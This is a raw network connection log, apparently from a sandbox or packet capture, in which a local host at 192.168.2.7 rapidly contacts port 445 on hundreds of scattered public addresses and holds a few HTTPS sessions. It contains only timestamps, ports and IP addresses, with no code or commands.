Jul 20, 2022 15:44:35.520354986 CEST	51322	445	192.168.2.7	97.244.21.152
Jul 20, 2022 15:44:35.520850897 CEST	51323	445	192.168.2.7	183.79.130.167
Jul 20, 2022 15:44:35.521315098 CEST	51324	445	192.168.2.7	50.34.106.68
Jul 20, 2022 15:44:35.521807909 CEST	51325	445	192.168.2.7	19.103.241.24
Jul 20, 2022 15:44:35.522290945 CEST	51326	445	192.168.2.7	115.53.204.54
Jul 20, 2022 15:44:35.522775888 CEST	51327	445	192.168.2.7	213.150.173.225
Jul 20, 2022 15:44:35.523260117 CEST	51328	445	192.168.2.7	190.85.122.224
Jul 20, 2022 15:44:35.568238020 CEST	51329	445	192.168.2.7	188.18.139.25
Jul 20, 2022 15:44:35.569271088 CEST	51330	445	192.168.2.7	141.160.12.206
Jul 20, 2022 15:44:35.569448948 CEST	51331	445	192.168.2.7	200.53.247.237
Jul 20, 2022 15:44:35.749811888 CEST	445	51331	200.53.247.237	192.168.2.7
Jul 20, 2022 15:44:36.403620958 CEST	51331	445	192.168.2.7	200.53.247.237
Jul 20, 2022 15:44:36.409276009 CEST	51336	445	192.168.2.7	15.87.185.58
Jul 20, 2022 15:44:36.416057110 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.416100979 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.416484118 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.417246103 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.417273045 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.506495953 CEST	51339	445	192.168.2.7	95.189.213.27
Jul 20, 2022 15:44:36.507005930 CEST	51340	445	192.168.2.7	168.220.5.215
Jul 20, 2022 15:44:36.519031048 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.519431114 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.521614075 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.521631956 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.522278070 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.527364969 CEST	51341	445	192.168.2.7	138.48.201.169
Jul 20, 2022 15:44:36.527456045 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.527503014 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.527523994 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.527633905 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.527786016 CEST	51342	445	192.168.2.7	161.98.173.169
Jul 20, 2022 15:44:36.539874077 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.539917946 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.540229082 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.543009043 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.543045044 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.558412075 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.558764935 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.558923960 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.558975935 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.559036970 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.559052944 CEST	443	51337	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:36.559545040 CEST	51337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:36.584414959 CEST	445	51331	200.53.247.237	192.168.2.7
Jul 20, 2022 15:44:36.638453960 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.642277002 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.645337105 CEST	51344	445	192.168.2.7	82.82.208.16
Jul 20, 2022 15:44:36.645859003 CEST	51345	445	192.168.2.7	132.90.74.169
Jul 20, 2022 15:44:36.646851063 CEST	51347	445	192.168.2.7	100.211.50.27
Jul 20, 2022 15:44:36.647372961 CEST	51348	445	192.168.2.7	1.57.141.197
Jul 20, 2022 15:44:36.647881985 CEST	51349	445	192.168.2.7	197.116.54.138
Jul 20, 2022 15:44:36.648392916 CEST	51350	445	192.168.2.7	62.180.142.57
Jul 20, 2022 15:44:36.648957014 CEST	51351	445	192.168.2.7	182.91.177.212
Jul 20, 2022 15:44:36.649472952 CEST	51352	445	192.168.2.7	28.12.181.17
Jul 20, 2022 15:44:36.649982929 CEST	51353	445	192.168.2.7	38.61.234.59
Jul 20, 2022 15:44:36.650495052 CEST	51354	445	192.168.2.7	65.200.150.12
Jul 20, 2022 15:44:36.650984049 CEST	51355	445	192.168.2.7	33.238.100.16
Jul 20, 2022 15:44:36.651515007 CEST	51356	445	192.168.2.7	214.10.75.233
Jul 20, 2022 15:44:36.652471066 CEST	51358	445	192.168.2.7	148.251.109.187
Jul 20, 2022 15:44:36.653059959 CEST	51359	445	192.168.2.7	100.86.5.17
Jul 20, 2022 15:44:36.653709888 CEST	51360	445	192.168.2.7	170.240.121.177
Jul 20, 2022 15:44:36.654237032 CEST	51361	445	192.168.2.7	32.26.107.216
Jul 20, 2022 15:44:36.654902935 CEST	51362	445	192.168.2.7	180.178.66.192
Jul 20, 2022 15:44:36.655430079 CEST	51363	445	192.168.2.7	6.195.66.0
Jul 20, 2022 15:44:36.655932903 CEST	51364	445	192.168.2.7	147.12.161.188
Jul 20, 2022 15:44:36.656457901 CEST	51365	445	192.168.2.7	212.183.66.143
Jul 20, 2022 15:44:36.656991959 CEST	51366	445	192.168.2.7	204.176.105.180
Jul 20, 2022 15:44:36.657505035 CEST	51367	445	192.168.2.7	16.12.110.201
Jul 20, 2022 15:44:36.658185005 CEST	51368	445	192.168.2.7	172.199.169.207
Jul 20, 2022 15:44:36.658772945 CEST	51369	445	192.168.2.7	83.220.107.38
Jul 20, 2022 15:44:36.659357071 CEST	51370	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.675151110 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.675178051 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.677237034 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.677269936 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.704916954 CEST	51371	445	192.168.2.7	40.42.42.92
Jul 20, 2022 15:44:36.704962969 CEST	51372	445	192.168.2.7	134.64.76.170
Jul 20, 2022 15:44:36.752814054 CEST	445	51370	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:36.753047943 CEST	51370	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.753161907 CEST	51370	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.755608082 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.805536985 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.805656910 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.813551903 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.818979025 CEST	51343	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:44:36.819024086 CEST	443	51343	20.40.129.122	192.168.2.7
Jul 20, 2022 15:44:36.841285944 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:36.841308117 CEST	445	51370	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:36.843708992 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.844880104 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.845068932 CEST	445	51370	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:36.845185041 CEST	51370	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:36.930254936 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:36.935538054 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:36.936593056 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:37.024904013 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:37.025430918 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:37.114392042 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:37.122997046 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:37.206811905 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:37.211355925 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:37.298860073 CEST	445	51373	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:37.299025059 CEST	51373	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:37.559207916 CEST	51379	445	192.168.2.7	7.91.197.45
Jul 20, 2022 15:44:37.630563021 CEST	51380	445	192.168.2.7	206.54.112.40
Jul 20, 2022 15:44:37.631057978 CEST	51381	445	192.168.2.7	66.188.36.139
Jul 20, 2022 15:44:37.655419111 CEST	51382	445	192.168.2.7	142.230.53.101
Jul 20, 2022 15:44:37.655652046 CEST	51383	445	192.168.2.7	88.42.135.3
Jul 20, 2022 15:44:37.767225027 CEST	51384	445	192.168.2.7	128.32.49.11
Jul 20, 2022 15:44:37.767757893 CEST	51385	445	192.168.2.7	148.207.225.55
Jul 20, 2022 15:44:37.768256903 CEST	51386	445	192.168.2.7	163.83.144.23
Jul 20, 2022 15:44:37.768754005 CEST	51387	445	192.168.2.7	73.89.166.242
Jul 20, 2022 15:44:37.769242048 CEST	51388	445	192.168.2.7	33.131.102.221
Jul 20, 2022 15:44:37.769747019 CEST	51389	445	192.168.2.7	113.91.168.204
Jul 20, 2022 15:44:37.770267963 CEST	51390	445	192.168.2.7	97.233.36.25
Jul 20, 2022 15:44:37.813859940 CEST	51391	445	192.168.2.7	190.168.46.162
Jul 20, 2022 15:44:37.820832968 CEST	51392	445	192.168.2.7	105.67.205.119
Jul 20, 2022 15:44:37.820911884 CEST	51393	445	192.168.2.7	184.21.130.31
Jul 20, 2022 15:44:37.820980072 CEST	51394	445	192.168.2.7	160.88.104.238
Jul 20, 2022 15:44:37.821059942 CEST	51395	445	192.168.2.7	25.95.160.167
Jul 20, 2022 15:44:37.821197987 CEST	51397	445	192.168.2.7	223.245.94.179
Jul 20, 2022 15:44:37.821271896 CEST	51398	445	192.168.2.7	15.120.14.9
Jul 20, 2022 15:44:37.821362972 CEST	51399	445	192.168.2.7	115.49.97.211
Jul 20, 2022 15:44:37.821469069 CEST	51400	445	192.168.2.7	150.245.39.9
Jul 20, 2022 15:44:37.821528912 CEST	51401	445	192.168.2.7	106.131.18.97
Jul 20, 2022 15:44:37.821624994 CEST	51402	445	192.168.2.7	32.142.240.174
Jul 20, 2022 15:44:37.821688890 CEST	51403	445	192.168.2.7	137.201.118.125
Jul 20, 2022 15:44:37.821753979 CEST	51404	445	192.168.2.7	134.194.166.79
Jul 20, 2022 15:44:37.821847916 CEST	51405	445	192.168.2.7	6.250.80.207
Jul 20, 2022 15:44:37.821897030 CEST	51406	445	192.168.2.7	115.7.77.105
Jul 20, 2022 15:44:37.821994066 CEST	51408	445	192.168.2.7	187.211.248.237
Jul 20, 2022 15:44:37.822056055 CEST	51409	445	192.168.2.7	21.234.5.188
Jul 20, 2022 15:44:37.823587894 CEST	51410	445	192.168.2.7	179.81.22.3
Jul 20, 2022 15:44:37.823646069 CEST	51411	445	192.168.2.7	80.94.111.211
Jul 20, 2022 15:44:37.993326902 CEST	445	51402	32.142.240.174	192.168.2.7
Jul 20, 2022 15:44:38.156729937 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.156780958 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.156872988 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.157655001 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.157675028 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.250328064 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.250574112 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.252710104 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.252737999 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.253034115 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.254331112 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.254378080 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.254390001 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.254563093 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.281593084 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.281677008 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.281837940 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.282109022 CEST	51413	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:38.282145023 CEST	443	51413	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:38.592969894 CEST	51402	445	192.168.2.7	32.142.240.174
Jul 20, 2022 15:44:38.679152966 CEST	51418	445	192.168.2.7	56.156.46.139
Jul 20, 2022 15:44:38.742381096 CEST	51420	445	192.168.2.7	4.70.205.48
Jul 20, 2022 15:44:38.764691114 CEST	445	51402	32.142.240.174	192.168.2.7
Jul 20, 2022 15:44:38.767504930 CEST	51421	445	192.168.2.7	7.41.88.187
Jul 20, 2022 15:44:38.779701948 CEST	51422	445	192.168.2.7	121.223.253.120
Jul 20, 2022 15:44:38.779710054 CEST	51423	445	192.168.2.7	223.181.91.204
Jul 20, 2022 15:44:38.897466898 CEST	51424	445	192.168.2.7	219.219.64.201
Jul 20, 2022 15:44:38.897524118 CEST	51425	445	192.168.2.7	2.237.193.40
Jul 20, 2022 15:44:38.897711039 CEST	51426	445	192.168.2.7	211.114.91.156
Jul 20, 2022 15:44:38.897804022 CEST	51427	445	192.168.2.7	45.89.22.144
Jul 20, 2022 15:44:38.897871017 CEST	51428	445	192.168.2.7	156.99.154.159
Jul 20, 2022 15:44:38.897984982 CEST	51429	445	192.168.2.7	206.100.211.101
Jul 20, 2022 15:44:38.898005962 CEST	51430	445	192.168.2.7	108.63.220.54
Jul 20, 2022 15:44:38.942069054 CEST	51431	445	192.168.2.7	49.115.126.0
Jul 20, 2022 15:44:38.942912102 CEST	51432	445	192.168.2.7	164.160.49.26
Jul 20, 2022 15:44:38.943705082 CEST	51433	445	192.168.2.7	46.233.65.231
Jul 20, 2022 15:44:38.944586039 CEST	51434	445	192.168.2.7	30.178.17.201
Jul 20, 2022 15:44:38.945344925 CEST	51435	445	192.168.2.7	14.177.18.20
Jul 20, 2022 15:44:38.948450089 CEST	51436	445	192.168.2.7	80.111.124.17
Jul 20, 2022 15:44:38.949381113 CEST	51437	445	192.168.2.7	5.209.198.214
Jul 20, 2022 15:44:38.950151920 CEST	51438	445	192.168.2.7	173.194.233.8
Jul 20, 2022 15:44:38.950896025 CEST	51439	445	192.168.2.7	170.241.196.92
Jul 20, 2022 15:44:38.952104092 CEST	51441	445	192.168.2.7	13.65.208.58
Jul 20, 2022 15:44:38.952802896 CEST	51442	445	192.168.2.7	223.243.128.75
Jul 20, 2022 15:44:38.953541994 CEST	51443	445	192.168.2.7	163.178.172.33
Jul 20, 2022 15:44:38.954262018 CEST	51444	445	192.168.2.7	46.225.49.86
Jul 20, 2022 15:44:38.954984903 CEST	51445	445	192.168.2.7	9.133.192.203
Jul 20, 2022 15:44:38.955725908 CEST	51446	445	192.168.2.7	1.1.10.83
Jul 20, 2022 15:44:38.956459999 CEST	51447	445	192.168.2.7	153.231.215.227
Jul 20, 2022 15:44:38.957227945 CEST	51448	445	192.168.2.7	123.146.122.27
Jul 20, 2022 15:44:38.958007097 CEST	51449	445	192.168.2.7	100.84.158.115
Jul 20, 2022 15:44:38.959368944 CEST	51451	445	192.168.2.7	153.74.133.39
Jul 20, 2022 15:44:39.483613014 CEST	445	51410	179.81.22.3	192.168.2.7
Jul 20, 2022 15:44:39.804228067 CEST	51458	445	192.168.2.7	216.63.96.162
Jul 20, 2022 15:44:39.885322094 CEST	51459	445	192.168.2.7	87.219.126.189
Jul 20, 2022 15:44:39.887238979 CEST	51460	445	192.168.2.7	135.50.1.94
Jul 20, 2022 15:44:39.888525963 CEST	51461	445	192.168.2.7	65.154.225.219
Jul 20, 2022 15:44:39.888849974 CEST	51462	445	192.168.2.7	125.199.178.166
Jul 20, 2022 15:44:40.026546001 CEST	51463	445	192.168.2.7	14.85.80.214
Jul 20, 2022 15:44:40.027214050 CEST	51464	445	192.168.2.7	30.136.103.219
Jul 20, 2022 15:44:40.028851986 CEST	51465	445	192.168.2.7	91.243.187.241
Jul 20, 2022 15:44:40.029671907 CEST	51466	445	192.168.2.7	15.186.252.144
Jul 20, 2022 15:44:40.029787064 CEST	51468	445	192.168.2.7	104.244.183.47
Jul 20, 2022 15:44:40.029792070 CEST	51467	445	192.168.2.7	58.245.177.178
Jul 20, 2022 15:44:40.029810905 CEST	51469	445	192.168.2.7	104.79.187.250
Jul 20, 2022 15:44:40.112174988 CEST	51470	445	192.168.2.7	91.122.109.64
Jul 20, 2022 15:44:40.113152027 CEST	51472	445	192.168.2.7	140.212.225.218
Jul 20, 2022 15:44:40.113650084 CEST	51473	445	192.168.2.7	140.99.191.12
Jul 20, 2022 15:44:40.114135027 CEST	51474	445	192.168.2.7	42.184.208.245
Jul 20, 2022 15:44:40.114625931 CEST	51475	445	192.168.2.7	193.23.19.234
Jul 20, 2022 15:44:40.115128040 CEST	51476	445	192.168.2.7	145.35.206.21
Jul 20, 2022 15:44:40.115660906 CEST	51477	445	192.168.2.7	129.222.6.57
Jul 20, 2022 15:44:40.116153955 CEST	51478	445	192.168.2.7	59.213.157.186
Jul 20, 2022 15:44:40.116736889 CEST	51479	445	192.168.2.7	9.43.90.202
Jul 20, 2022 15:44:40.117269039 CEST	51480	445	192.168.2.7	118.205.105.132
Jul 20, 2022 15:44:40.118238926 CEST	51482	445	192.168.2.7	138.82.129.48
Jul 20, 2022 15:44:40.118741035 CEST	51483	445	192.168.2.7	207.63.229.160
Jul 20, 2022 15:44:40.119323969 CEST	51484	445	192.168.2.7	106.217.150.44
Jul 20, 2022 15:44:40.119805098 CEST	51485	445	192.168.2.7	36.106.75.230
Jul 20, 2022 15:44:40.120323896 CEST	51486	445	192.168.2.7	200.21.42.0
Jul 20, 2022 15:44:40.120857000 CEST	51487	445	192.168.2.7	210.206.53.75
Jul 20, 2022 15:44:40.121609926 CEST	51488	445	192.168.2.7	28.250.204.208
Jul 20, 2022 15:44:40.137319088 CEST	51489	445	192.168.2.7	171.144.135.115
Jul 20, 2022 15:44:40.137324095 CEST	51490	445	192.168.2.7	1.30.40.45
Jul 20, 2022 15:44:40.243674040 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.334884882 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.339674950 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.339862108 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.366342068 CEST	445	51487	210.206.53.75	192.168.2.7
Jul 20, 2022 15:44:40.428370953 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.436367989 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.437541962 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.526938915 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.527297020 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.618853092 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.619067907 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.706859112 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.714840889 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.780047894 CEST	51498	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:40.806937933 CEST	445	51493	188.18.139.26	192.168.2.7
Jul 20, 2022 15:44:40.807158947 CEST	51493	445	192.168.2.7	188.18.139.26
Jul 20, 2022 15:44:40.861481905 CEST	445	51498	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:40.876230001 CEST	51498	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:40.876862049 CEST	51498	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:40.881033897 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:40.898524046 CEST	51487	445	192.168.2.7	210.206.53.75
Jul 20, 2022 15:44:40.919781923 CEST	51500	445	192.168.2.7	179.139.248.150
Jul 20, 2022 15:44:40.960618973 CEST	445	51498	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:40.961388111 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:40.963141918 CEST	445	51498	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:40.963187933 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:40.963310957 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:40.967000961 CEST	51498	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:41.011373043 CEST	51502	445	192.168.2.7	182.53.246.173
Jul 20, 2022 15:44:41.013732910 CEST	51503	445	192.168.2.7	200.78.215.9
Jul 20, 2022 15:44:41.015292883 CEST	51504	445	192.168.2.7	48.153.196.40
Jul 20, 2022 15:44:41.017306089 CEST	51505	445	192.168.2.7	74.37.171.222
Jul 20, 2022 15:44:41.038737059 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:41.046806097 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:41.046952963 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:41.126725912 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:41.145839930 CEST	445	51487	210.206.53.75	192.168.2.7
Jul 20, 2022 15:44:41.169219017 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:41.173366070 CEST	51506	445	192.168.2.7	5.160.212.122
Jul 20, 2022 15:44:41.173435926 CEST	51507	445	192.168.2.7	68.87.252.240
Jul 20, 2022 15:44:41.173443079 CEST	51508	445	192.168.2.7	132.121.36.66
Jul 20, 2022 15:44:41.173543930 CEST	51509	445	192.168.2.7	210.58.229.200
Jul 20, 2022 15:44:41.173593044 CEST	51510	445	192.168.2.7	170.236.80.236
Jul 20, 2022 15:44:41.173655987 CEST	51511	445	192.168.2.7	14.129.55.214
Jul 20, 2022 15:44:41.246622086 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:41.340305090 CEST	445	51507	68.87.252.240	192.168.2.7
Jul 20, 2022 15:44:41.357768059 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:41.365925074 CEST	51513	445	192.168.2.7	97.147.141.196
Jul 20, 2022 15:44:41.366358995 CEST	51514	445	192.168.2.7	179.139.96.20
Jul 20, 2022 15:44:41.367057085 CEST	51515	445	192.168.2.7	204.198.242.208
Jul 20, 2022 15:44:41.367610931 CEST	51516	445	192.168.2.7	27.8.233.20
Jul 20, 2022 15:44:41.368084908 CEST	51517	445	192.168.2.7	97.163.236.196
Jul 20, 2022 15:44:41.368650913 CEST	51518	445	192.168.2.7	58.51.10.218
Jul 20, 2022 15:44:41.369134903 CEST	51519	445	192.168.2.7	161.195.19.209
Jul 20, 2022 15:44:41.369627953 CEST	51520	445	192.168.2.7	160.149.78.157
Jul 20, 2022 15:44:41.370120049 CEST	51521	445	192.168.2.7	222.116.186.180
Jul 20, 2022 15:44:41.371068954 CEST	51523	445	192.168.2.7	64.82.111.38
Jul 20, 2022 15:44:41.371620893 CEST	51524	445	192.168.2.7	14.12.91.116
Jul 20, 2022 15:44:41.375459909 CEST	51526	445	192.168.2.7	55.123.44.210
Jul 20, 2022 15:44:41.375514030 CEST	51527	445	192.168.2.7	178.97.36.138
Jul 20, 2022 15:44:41.375622988 CEST	51528	445	192.168.2.7	78.48.64.197
Jul 20, 2022 15:44:41.375623941 CEST	51529	445	192.168.2.7	212.54.178.193
Jul 20, 2022 15:44:41.375709057 CEST	51531	445	192.168.2.7	8.107.126.156
Jul 20, 2022 15:44:41.375716925 CEST	51530	445	192.168.2.7	107.197.231.190
Jul 20, 2022 15:44:41.375981092 CEST	51533	445	192.168.2.7	141.47.108.92
Jul 20, 2022 15:44:41.376044989 CEST	51532	445	192.168.2.7	20.219.29.147
Jul 20, 2022 15:44:41.435333014 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:41.462832928 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:41.542704105 CEST	445	51499	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:41.542912006 CEST	51499	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:41.896457911 CEST	51507	445	192.168.2.7	68.87.252.240
Jul 20, 2022 15:44:42.063740969 CEST	445	51507	68.87.252.240	192.168.2.7
Jul 20, 2022 15:44:42.174393892 CEST	51540	445	192.168.2.7	199.11.184.28
Jul 20, 2022 15:44:42.283322096 CEST	51542	445	192.168.2.7	120.116.89.7
Jul 20, 2022 15:44:42.283767939 CEST	51543	445	192.168.2.7	217.196.35.127
Jul 20, 2022 15:44:42.284269094 CEST	51544	445	192.168.2.7	32.111.43.16
Jul 20, 2022 15:44:42.284768105 CEST	51545	445	192.168.2.7	23.124.60.159
Jul 20, 2022 15:44:42.836407900 CEST	51547	445	192.168.2.7	9.133.219.50
Jul 20, 2022 15:44:42.837002993 CEST	51548	445	192.168.2.7	18.130.89.54
Jul 20, 2022 15:44:42.837527990 CEST	51549	445	192.168.2.7	6.100.172.233
Jul 20, 2022 15:44:42.838068962 CEST	51550	445	192.168.2.7	136.98.150.216
Jul 20, 2022 15:44:42.838629961 CEST	51551	445	192.168.2.7	137.9.242.34
Jul 20, 2022 15:44:42.839152098 CEST	51552	445	192.168.2.7	48.55.101.122
Jul 20, 2022 15:44:42.839627028 CEST	51553	445	192.168.2.7	151.198.22.9
Jul 20, 2022 15:44:42.944789886 CEST	51554	445	192.168.2.7	25.210.236.151
Jul 20, 2022 15:44:42.948239088 CEST	51561	445	192.168.2.7	140.183.55.118
Jul 20, 2022 15:44:42.948776960 CEST	51562	445	192.168.2.7	177.51.218.182
Jul 20, 2022 15:44:42.949273109 CEST	51563	445	192.168.2.7	113.251.177.128
Jul 20, 2022 15:44:42.949793100 CEST	51564	445	192.168.2.7	9.59.153.149
Jul 20, 2022 15:44:42.950309992 CEST	51565	445	192.168.2.7	89.85.254.193
Jul 20, 2022 15:44:42.950829029 CEST	51566	445	192.168.2.7	18.75.101.125
Jul 20, 2022 15:44:42.951379061 CEST	51567	445	192.168.2.7	194.61.82.243
Jul 20, 2022 15:44:42.951874018 CEST	51568	445	192.168.2.7	10.246.54.96
Jul 20, 2022 15:44:42.952393055 CEST	51569	445	192.168.2.7	18.239.243.102
Jul 20, 2022 15:44:42.953350067 CEST	51571	445	192.168.2.7	155.89.32.204
Jul 20, 2022 15:44:42.953852892 CEST	51572	445	192.168.2.7	172.102.190.199
Jul 20, 2022 15:44:42.955055952 CEST	51574	445	192.168.2.7	126.5.181.105
Jul 20, 2022 15:44:42.955610037 CEST	51575	445	192.168.2.7	158.48.232.81
Jul 20, 2022 15:44:42.956165075 CEST	51576	445	192.168.2.7	11.110.232.207
Jul 20, 2022 15:44:42.956686974 CEST	51577	445	192.168.2.7	29.216.208.145
Jul 20, 2022 15:44:42.957199097 CEST	51578	445	192.168.2.7	121.142.32.134
Jul 20, 2022 15:44:42.957715034 CEST	51579	445	192.168.2.7	32.1.226.218
Jul 20, 2022 15:44:42.958256006 CEST	51580	445	192.168.2.7	108.67.194.124
Jul 20, 2022 15:44:43.182735920 CEST	445	51562	177.51.218.182	192.168.2.7
Jul 20, 2022 15:44:43.182777882 CEST	445	51571	155.89.32.204	192.168.2.7
Jul 20, 2022 15:44:43.289045095 CEST	51581	445	192.168.2.7	172.227.56.98
Jul 20, 2022 15:44:43.399533033 CEST	51583	445	192.168.2.7	38.116.142.14
Jul 20, 2022 15:44:43.400033951 CEST	51584	445	192.168.2.7	193.230.66.13
Jul 20, 2022 15:44:43.400547028 CEST	51585	445	192.168.2.7	14.212.59.74
Jul 20, 2022 15:44:43.401103973 CEST	51586	445	192.168.2.7	141.23.14.154
Jul 20, 2022 15:44:43.787288904 CEST	51571	445	192.168.2.7	155.89.32.204
Jul 20, 2022 15:44:43.790699959 CEST	51562	445	192.168.2.7	177.51.218.182
Jul 20, 2022 15:44:44.024673939 CEST	445	51562	177.51.218.182	192.168.2.7
